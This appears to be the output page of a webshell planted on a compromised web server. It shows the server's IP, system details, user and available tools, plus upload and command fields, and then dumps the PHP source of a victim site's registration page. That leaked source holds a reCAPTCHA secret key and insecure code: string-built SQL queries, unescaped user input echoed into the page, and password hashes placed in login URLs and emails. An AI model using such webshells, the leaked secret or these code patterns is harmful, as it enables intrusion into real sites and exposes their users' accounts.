403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/yellowleaf/public_html/promote/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/yellowleaf/public_html/promote/BACKUP_index.php
<?php
   session_start();
   $path  = $_SERVER['DOCUMENT_ROOT'];
   include_once $path.'/connect_db.php';
   $_SESSION = array();
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Are you looking to boost your brand's visibility and reach more customers? Yellowleaf has all the tools you need to get your products and services in front of the right people. With easy-to-use targeting options and a range of advertising formats, we'll help you reach your ideal audience and achieve your business goals.">
    <link rel="stylesheet" href="/header-footer/global.css">
    <link rel="stylesheet" href="index.css">
    <title>Boost Your Business: Promote with Us</title>
</head>
<?php
	$error =[];
	if(isset($_POST['submit'])){

	$ename=strtolower(addslashes($_POST['ename']));
	$epass=addslashes(password_hash($_POST['epass'], PASSWORD_DEFAULT));
	$contactname=ucwords(addslashes($_POST['contactname']));
	$surname=ucwords(addslashes($_POST['surname']));

	$vaild = true;
	if(!$ename)
	{
	   $vaild = false;
	   $errorename = '<span class="error-message">Please enter email</span>';
	}
	if(!$epass)
	{
	   $vaild = false;
	   $errorepass = '<span class="error-message">Please enter password</span>';
	}
	if(!$contactname)
	{
	   $vaild = false;
	   $errorcontactname = '<span class="error-message">Please re-enter email</span>';
	}
	if(!$surname)
	{
	   $vaild = false;
	   $errorsurname = '<span class="error-message">Please re-enter email</span>';
	}



	// $recaptcha_url = 'https://www.google.com/recaptcha/api/siteverify';
    // $recaptcha_secret = '6Ld7btAgAAAAAJU08wXsRi_ovGaO5UX0OIt3i9q-';
    // $recaptcha_response = $_POST['recaptcha_response'];
	// $recaptcha = file_get_contents($recaptcha_url . '?secret=' . $recaptcha_secret . '&response=' . $recaptcha_response);
    // $recaptcha = json_decode($recaptcha);
	// if ($recaptcha->score >= 0.5 && $vaild==true) {

	 $checkuser = $connect->query("SELECT * FROM members WHERE ename = \"$ename\"");
	 $username_exist = $checkuser->num_rows;

	 if($username_exist > 0){
		$errorename = '<div class="alert alert-error">This email address has already been registered. Please use a different email address to register or <a href="/login/?email='.$ename.'">click here</a> to login.</div>';
	 }
	 else
	 {
	 $time = time();
	 $q1 = "insert into members set regdate = '$time', ename = '$ename',epass = '$epass',
		    contactname = '$contactname',surname = '$surname',postcode = '',address = '',phone = '', code = '' ,image = '',browser = '' ";

	 $r1 = $connect->query($q1) or die($connect->error);
	 if ($r1) { $memberid = $connect->insert_id; }

		$register = '<div class="alert alert-success">Hi '.$contactname.', you have successfully created your Yellowleaf account. Please <a href="/autologin.php/?email='.$ename.'&password='.$epass.'">click here</a> to login.</div>';

		$to  = "$contactname <$ename>";
		$subject_em = "Registration at YellowLeaf - Your account details";
		$email_message = '
			<div style="margin-bottom:5px;">Dear <b>'.$contactname.'</b></div>
			<div>
			Welcome to YellowLeaf.<br><br>
			Here are your account details which you will need when you log into YellowLeaf members area.<br><br>
			<b>Email:</b> '.$ename.'<br>
			<b>Password:</b> '.$epass.'<br><br>

			<a href="/login/">Click here to log into your YellowLeaf members account.</a>
			</div>';

		// message template which includes $message and $email_message
		include '../email_tmp/em_tmp.php';

		// To send HTML mail, the Content-type header must be set
		$headers  = 'MIME-Version: 1.0' . "\r\n";
		$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";

		$headers .= 'From: YellowLeaf <support@yellowleaf.co.uk>' . "\r\n";
		mail($to, $subject_em, $message, $headers,"-f support@yellowleaf.co.uk");


		/////// KILL OFF ANY SESSION OR COOKIES MADE
		session_destroy();
		//setcookie("yl_user", $_SESSION['ename'], time()-60*60*24*100, "/");


	//////////////////REGISTRATION COMPLETE/////////////////////
	////////////////////////////////////////////////////////////
	 $success=TRUE;
	 }
	// }
}


?>
<style>
    span.error {
        color: #ff0000f7;
    }
</style>
<body>

<?php
    include_once $path.'/header-footer/header.php';
?>

    <!-- start: Header -->
    <header id="header">
        <div class="container">
            <div class="header-text">
                <h1 class="header-title">Generate more business leads</h1>
                <span>Increase your revenue with FREE business promotion tools</span>
            </div>
        </div>
    </header>
    <!-- end: Header -->

    <!-- start: Features -->
    <section class="features">
        <div class="container">
            <div class="features-wrapper">
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">CUSTOMISABLE BUSINESS PROFILE</h4>
                    <p class="features-item-description">Create a business profile and establish your brand</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">MAKE MODIFICATIONS INSTANTLY</h4>
                    <p class="features-item-description">Change and update your business advert on the fly</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">UPLOAD MULTIPLE PHOTOS</h4>
                    <p class="features-item-description">Upload multiple photos to go alongside your business advert</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">SEARCH ENGINE OPTIMISED</h4>
                    <p class="features-item-description">Your business advert will appear high on major search engines such as Google and Bing</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">LINK TO YOUR WEBSITE</h4>
                    <p class="features-item-description">Divert potential customers direct to your own business website</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">SOCIAL MEDIA</h4>
                    <p class="features-item-description">Promote your business on the Yellowleaf social media pages and increase your brand awareness</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">BUILT IN PROMOTIONAL TOOLS</h4>
                    <p class="features-item-description">Use the Yellowleaf promotional tools and increase your business reach</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">BOOST YOUR SALES</h4>
                    <p class="features-item-description">Generate leads with Yellowleaf and increase your business revenue</p>
                </div>
                <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">COMPLETELY FREE</h4>
                    <p class="features-item-description">Grow your brand with our free promotion tools <br> No budget? No problem</p>
                </div>
                <!-- <div class="features-item">
                    <div class="features-item-icon">
                        <svg>
                            <use xlink:href="index.svg#checkbox-circle-line"></use>
                        </svg>
                    </div>
                    <h4 class="features-item-title">LOCALLY TARGETED ADS</h4>
                    <p class="features-item-description">Your advert will be targeted to particular users that are located near you.</p>
                </div> -->

            </div>
        </div>
    </section>
    <!-- end: Features -->

    <!-- <section class="page_builder_section">
      <div class="container">
        <div class="page_builder_container">
          <div class="page_builder_content">
            <h1 class="section-title">Do you need a business website?</h1>
            <p>Create a FREE website using the Yellowleaf Website Builder</p>
            <a href="#header" class="btn btn-yellow" id="ga4_promote_create_website_button">Get started</a>
          </div>
          <div>
            <img
              src="./img/hero.png"
              alt="hero_image"
            />
          </div>
        </div>
      </div>
    </section> -->

    <!-- start: Subscribe -->
    <section class="subscribe">
        <div class="container">
        <div class="subscribe-body">
                <div class="subscribe-form-wrapper">
                    <h3 class="subscribe-form-title">Register now to promote your business</h3>
                    <p class="subscribe-form-description">To register please complete the form below.</p>

                <?=$register?>
                <?=$errorename?>
                <?php if(!$success){ ?>
                    <form name="RegForm" action="?submitted=true" method="POST">
                        <div class="form-box">
                            <div class="form-group">
                                <label for="contactname">
                                    <svg>
                                        <use xlink:href="index.svg#user-smile-line"></use>
                                    </svg>
                                </label>
                                <input required type="text" name="contactname" id="contactname" class="form-control"
                                    size="36" value="<?=$contactname?>" placeholder="Enter your first name">
                                <?=$errorcontactname?>
                            </div>
                        </div>
                        <div class="form-box">
                            <div class="form-group">
                                <label for="surname">
                                    <svg>
                                        <use xlink:href="index.svg#user-smile-line"></use>
                                    </svg>
                                </label>
                                <input required type="text" name="surname" size="36" value="<?=$surname?>" placeholder="Enter your surname">
                                <?=$errorsurname?>
                            </div>
                        </div>
                        <div class="form-box">
                            <div class="form-group">
                                <label for="email">
                                    <svg>
                                        <use xlink:href="index.svg#mail"></use>
                                    </svg>
                                </label>
                                <input required type="email" name="ename" class="" size="36" value="<?=$ename?>"  placeholder="Enter your email">
                            </div>
                        </div>
                        <div class="form-box">
                            <div class="form-group">
                                <label for="password">
                                    <svg>
                                        <use xlink:href="index.svg#lock-line"></use>
                                    </svg>
                                </label>
                                <input required type="password" name="epass" class="form-control input-password" size="36"  placeholder="Enter password">
                                <svg class="toggle-password">
                                    <use xlink:href="index.svg#eye-line"></use>
                                </svg>
                            </div>
                        </div>
                        <button type="submit" class="button button-yellow button-block" name="submit" id="ga4_promote_register_button">Register</button>
                    </form>

                    <?php } ?>
                </div>
            </div>
        </div>
    </section>
    <!-- end: Subscribe -->

    <!-- start: CTA -->
    <!-- <section class="cta">
        <div class="container">
            <div class="cta-wrapper">
                <div class="cta-image">
                    <img src="img/banner.png" alt="">
                </div>
                <div>
                    <h2 class="cta-title">Are you ready to take your business to new heights with Yellowleaf?</h2>
                    <p class="cta-description">Click the register button if you're ready to proceed.</p>
                    <button type="button" class="button button-white button-register" id="ga4_promote_register_form_button">Register</button>
                </div>
            </div>
        </div>
    </section> -->
    <!-- end: CTA -->

    <!-- start: New Business -->
    <section class="new-business">
        <div class="container">
            <h2 class="business-title">New Businesses on Yellowleaf</h2>
            <div class="business-wrapper">
                <?php
                    $business_sql = $connect->query("SELECT * FROM ads order by adid desc limit 4");

                    while ($business_row = $business_sql->fetch_assoc()) {
                        $b_name = $business_row['companyname'];
                        $b_county_name = $business_row['county_name'];
                        $b_image = $business_row['image'];
                        $description = empty($business_row['description']) ? '' : substr($business_row['description'],0,200).'...';

                        $r_ad_name=strtolower($b_name);
                        $r_ad_name = preg_replace("/[^A-Za-z 0-9]/", "", $r_ad_name); $r_ad_name=str_replace("  "," ",$r_ad_name);
                        $ad_name=str_replace(" ","-",$r_ad_name);
                        $adid = $business_row['adid'];
                ?>
                    <div class="business-item">
                        <a href="/pages/<?php echo $adid.'-'.$ad_name.'.html'; ?>" class="busiess-item-image">
                            <img id="ga4_advertise_new_business_card_image" src="<?php if($b_image){ echo '/members/uploads/logo/'.$b_image; }else{ echo '/img/not-found.jpg';} ?>" alt="">
                        </a>
                        <div class="busines-item-body">
                            <a id="ga4_advertise_new_business_card_title" href="/pages/<?php echo $adid.'-'.$ad_name.'.html'; ?>" class="business-item-title"><?php echo $b_name;?></a>
                            <p class="business-item-description"><?= $description; ?></p>
                        </div>
                    </div>
                <?php } ?>
            </div>
        </div>
    </section>
    <!-- end: New Business -->

    <?php
        include_once $path.'/header-footer/footer.php';
    ?>

<!-- <script src="https://www.google.com/recaptcha/api.js?render=6Ld7btAgAAAAAPejqYReP-E1NFZvwsljnliu68j7"></script>
<script>
    grecaptcha.ready(() => {
        grecaptcha.execute('6Ld7btAgAAAAAPejqYReP-E1NFZvwsljnliu68j7', {
            action: 'contact'
        }).then(token => {
            document.querySelector('#recaptchaResponse').value = token;
        });
    });
</script> -->
<script src="/js/js.js"></script>
<script language="javascript">

// When the Document Object Model is ready
// jQuery(document).ready(function(){
// 	// 'catTopPosition' is the amount of pixels #cat
// 	// is from the top of the document
// 	var catTopPosition = jQuery('#register').offset().top;

// 	// When #scroll is clicked
// 	jQuery('#register_btn').click(function(){
// 		// Scroll down to 'catTopPosition'
// 		jQuery('html, body').animate({scrollTop:catTopPosition}, 'slow');
// 		// This stops the anchor link from acting like a normal anchor link
// 		return false;
// 	});
// });

<?
if ($error_veri || $error1) {
echo "$(window).load(function () {
        var catTopPosition = jQuery('#register').offset().top;
        jQuery('html, body').animate({ scrollTop: catTopPosition }, 'slow');
    }); ";
}
?>

    if(convertUrlToObj(location.search)['submitted']) {
        $('.header-body').get(0).scrollIntoView({behavior: 'smooth'})
    }

    $('.button-register').click(function() {
        $('#contactname').focus()
    })

    $('.toggle-password').click(function() {
        var el = $(this).siblings('input')

        if(el.attr('type') === 'password') {
            el.attr('type', 'text')
            $(this).children().attr('xlink:href', 'index.svg#eye-off-line')
        } else {
            el.attr('type', 'password')
            $(this).children().attr('xlink:href', 'index.svg#eye-line')
        }
    })

    // start: Remove Unknown Character
    var textDescriptions = document.querySelectorAll('.features-side-business-item-description')

    textDescriptions.forEach(function(textDescription) {
        textDescription.textContent = textDescription.textContent.replace(/\uFFFD/g, '')
    })
    // end: Remove Unknown Character

    // function CheckRegister() {
    //     return true;
    //     var em = /@/;
    //     var pc = /[^ +](.*) (.*)/;

    //     console.log('Test');

    //     if (document.RegForm.contactname.value == "") {
    //         window.alert('Please enter your firstname');
    //         document.RegForm.contactname.focus();
    //         return false;
    //     }
    //     if (document.RegForm.surname.value == "") {
    //         window.alert('Please enter your surname');
    //         document.RegForm.surname.focus();
    //         return false;
    //     }
    //     if (document.RegForm.ename.value == "") {
    //         window.alert('Please enter your email address');
    //         document.RegForm.ename.focus();
    //         return false;
    //     }
    //     if (!em.test(document.RegForm.ename.value)) {
    //         alert("Please enter a valid email address");
    //         document.RegForm.ename.focus();
    //         return false;
    //     }
    //     if (document.RegForm.ename.value !== document.RegForm.cename.value) {
    //         window.alert('Your emails do not match');
    //         document.RegForm.epass.focus();
    //         return false;
    //     }
    //     if (document.RegForm.epass.value == "") {
    //         window.alert('Please enter your password');
    //         document.RegForm.epass.focus();
    //         return false;
    //     }
    //     if (document.RegForm.epass.value !== document.RegForm.cepass.value) {
    //         window.alert('Your passwords do not match');
    //         document.RegForm.epass.focus();
    //         return false;
    //     }
    //     if (document.RegForm.recaptcha_response.value == "") {
    //         window.alert('Please enter the 4 letters you see in the word verification box.');
    //         //document.RegForm.validator.focus();
    //         return false;
    //     }
    // }

    function terms(pageURL, title, w, h) {
        var left = (screen.width / 2) - (w / 2);
        var top = (screen.height / 2) - (h / 2);
        window.open(pageURL, title, 'scrollbars=yes, width=' + w + ', height=' + h + ', top=' + top + ', left=' + left);
    }

    function convertUrlToObj(url) {
        var splitUrl = url.substr(1).split('&')
        var obj = {}

        splitUrl.forEach(function(item) {
            var [key, val] = item.split('=')
            obj[key] = val
        })

        return obj
    }
</script>

    <!-- <script>
        $('.button-register').click(function() {
            $('#first-name').focus()
        })
    </script> -->

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit